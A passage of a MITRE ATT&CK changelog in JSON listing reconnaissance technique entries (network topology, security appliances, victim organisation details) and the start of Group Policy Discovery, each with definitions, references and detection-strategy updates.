"source_name": "Circl Passive DNS",
"description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.",
"url": "https://www.circl.lu/services/passive-dns/"
},
{
"source_name": "DNS Dumpster",
"description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.",
"url": "https://dnsdumpster.com/"
},
{
"source_name": "WHOIS",
"description": "NTT America. (n.d.). Whois Lookup. Retrieved November 17, 2024.",
"url": "https://who.is/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:23.845000+00:00\", \"old_value\": \"2025-04-15 22:40:30.211000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}",
"previous_version": "1.0",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0815: Detection of IP Addresses"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--6c2957f9-502a-478c-b1dd-d626c0659413",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-02 16:01:35.350000+00:00",
"modified": "2025-10-24 17:48:55.360000+00:00",
"name": "Network Security Appliances",
"description": "Adversaries may gather information about the victim's network security appliances that can be used during targeting. Information about network security appliances may include a variety of details, such as the existence and specifics of deployed firewalls, content filters, and proxies/bastion hosts. Adversaries may also target information about victim network-based intrusion detection systems (NIDS) or other appliances related to defensive cybersecurity operations.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).(Citation: Nmap Firewalls NIDS) Information about network security appliances may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1590/006",
"external_id": "T1590.006"
},
{
"source_name": "Nmap Firewalls NIDS",
"description": "Nmap. (n.d.). Chapter 10. Detecting and Subverting Firewalls and Intrusion Detection Systems. Retrieved October 20, 2020.",
"url": "https://nmap.org/book/firewalls.html"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:55.360000+00:00\", \"old_value\": \"2025-04-15 22:52:16.483000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}",
"previous_version": "1.0",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0889: Detection of Network Security Appliances"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--34ab90a3-05f6-4259-8f21-621081fdaba5",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-02 15:49:03.815000+00:00",
"modified": "2025-10-24 17:48:37.652000+00:00",
"name": "Network Topology",
"description": "Adversaries may gather information about the victim's network topology that can be used during targeting. Information about network topologies may include a variety of details, including the physical and/or logical arrangement of both external-facing and internal network environments. This information may also include specifics regarding network devices (gateways, routers, etc.) and other infrastructure.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network topologies may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: DNS Dumpster) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1590/004",
"external_id": "T1590.004"
},
{
"source_name": "DNS Dumpster",
"description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.",
"url": "https://dnsdumpster.com/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:37.652000+00:00\", \"old_value\": \"2025-04-15 22:52:48.199000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}",
"previous_version": "1.0",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0819: Detection of Network Topology"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--36aa137f-5166-41f8-b2f0-a4cfa1b4133e",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-02 15:47:59.457000+00:00",
"modified": "2025-10-24 17:48:38.803000+00:00",
"name": "Network Trust Dependencies",
"description": "Adversaries may gather information about the victim's network trust dependencies that can be used during targeting. Information about network trusts may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network trusts may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: Pentesting AD Forests) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1590/003",
"external_id": "T1590.003"
},
{
"source_name": "Pentesting AD Forests",
"description": "Garc\u00eda, C. (2019, April 3). Pentesting Active Directory Forests. Retrieved October 20, 2020.",
"url": "https://www.slideshare.net/rootedcon/carlos-garca-pentesting-active-directory-forests-rooted2019"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:38.803000+00:00\", \"old_value\": \"2025-04-15 22:53:01.571000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}",
"previous_version": "1.0",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0828: Detection of Network Trust Dependencies"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--937e4772-8441-4e4a-8bf0-8d447d667e23",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-02 16:27:02.339000+00:00",
"modified": "2025-10-24 17:49:06.846000+00:00",
"name": "Gather Victim Org Information",
"description": "Adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1591",
"external_id": "T1591"
},
{
"source_name": "ThreatPost Broadvoice Leak",
"description": "Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.",
"url": "https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/"
},
{
"source_name": "SEC EDGAR Search",
"description": "U.S. SEC. (n.d.). EDGAR - Search and Access. Retrieved November 17, 2024.",
"url": "https://www.sec.gov/edgar/search/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:06.846000+00:00\", \"old_value\": \"2025-04-15 22:38:32.343000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0890: Detection of Gather Victim Org Information"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--6ee2dc99-91ad-4534-a7d8-a649358c331f",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-02 16:27:55.713000+00:00",
"modified": "2025-10-24 17:48:55.897000+00:00",
"name": "Business Relationships",
"description": "Adversaries may gather information about the victim's business relationships that can be used during targeting. Information about an organization\u2019s business relationships may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. This information may also reveal supply chains and shipment paths for the victim\u2019s hardware and software resources.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business relationships may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1591/002",
"external_id": "T1591.002"
},
{
"source_name": "ThreatPost Broadvoice Leak",
"description": "Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.",
"url": "https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:55.897000+00:00\", \"old_value\": \"2025-04-15 21:54:59.306000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}",
"previous_version": "1.0",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0855: Detection of Business Relationships"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--ed730f20-0e44-48b9-85f8-0e2adeb76867",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-02 16:32:33.126000+00:00",
"modified": "2025-10-24 17:49:34.503000+00:00",
"name": "Determine Physical Locations",
"description": "Adversaries may gather the victim's physical location(s) that can be used during targeting. Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Social Media](https://attack.mitre.org/techniques/T1593/001)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1591/001",
"external_id": "T1591.001"
},
{
"source_name": "ThreatPost Broadvoice Leak",
"description": "Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.",
"url": "https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/"
},
{
"source_name": "SEC EDGAR Search",
"description": "U.S. SEC. (n.d.). EDGAR - Search and Access. Retrieved November 17, 2024.",
"url": "https://www.sec.gov/edgar/search/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:34.503000+00:00\", \"old_value\": \"2025-04-15 22:16:44.365000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0806: Detection of Determine Physical Locations"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--2339cf19-8f1e-48f7-8a91-0262ba547b6f",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-02 16:34:32.435000+00:00",
"modified": "2025-10-24 17:48:31.764000+00:00",
"name": "Identify Business Tempo",
"description": "Adversaries may gather information about the victim's business tempo that can be used during targeting. Information about an organization\u2019s business tempo may include a variety of details, including operational hours/days of the week. This information may also reveal times/dates of purchases and shipments of the victim\u2019s hardware and software resources.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business tempo may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199))",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1591/003",
"external_id": "T1591.003"
},
{
"source_name": "ThreatPost Broadvoice Leak",
"description": "Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.",
"url": "https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:31.764000+00:00\", \"old_value\": \"2025-04-15 22:40:43.647000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}",
"previous_version": "1.0",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0849: Detection of Identify Business Tempo"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--cc723aff-ec88-40e3-a224-5af9fd983cc4",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-02 16:37:30.015000+00:00",
"modified": "2025-10-24 17:49:23.837000+00:00",
"name": "Identify Roles",
"description": "Adversaries may gather information about identities and roles within the victim organization that can be used during targeting. Information about business roles may reveal a variety of targetable details, including identifiable information for key personnel as well as what data/resources they have access to.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business roles may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1591/004",
"external_id": "T1591.004"
},
{
"source_name": "ThreatPost Broadvoice Leak",
"description": "Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.",
"url": "https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:23.837000+00:00\", \"old_value\": \"2025-04-15 22:40:57.270000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}",
"previous_version": "1.0",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0807: Detection of Identify Roles"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--1b20efbf-8063-4fc3-a07d-b575318a301b",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2021-08-06 13:10:12.916000+00:00",
"modified": "2025-10-24 17:48:28.148000+00:00",
"name": "Group Policy Discovery",
"description": "Adversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment. Group Policy allows for centralized management of user and computer settings in Active Directory (AD). Group policy objects (GPOs) are containers for group policy settings made up of files stored within a predictable network path `\\gpresult or various publicly available PowerShell functions, such as Get-DomainGPO and Get-DomainGPOLocalGroup, to gather information on Group Policy settings.(Citation: Microsoft gpresult)(Citation: Github PowerShell Empire) Adversaries may use this information to shape follow-on behaviors, including determining potential attack paths within the target network as well as opportunities to manipulate Group Policy settings (i.e. [Domain or Tenant Policy Modification](https://attack.mitre.org/techniques/T1484)) for their benefit.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
],
"revoked": false,
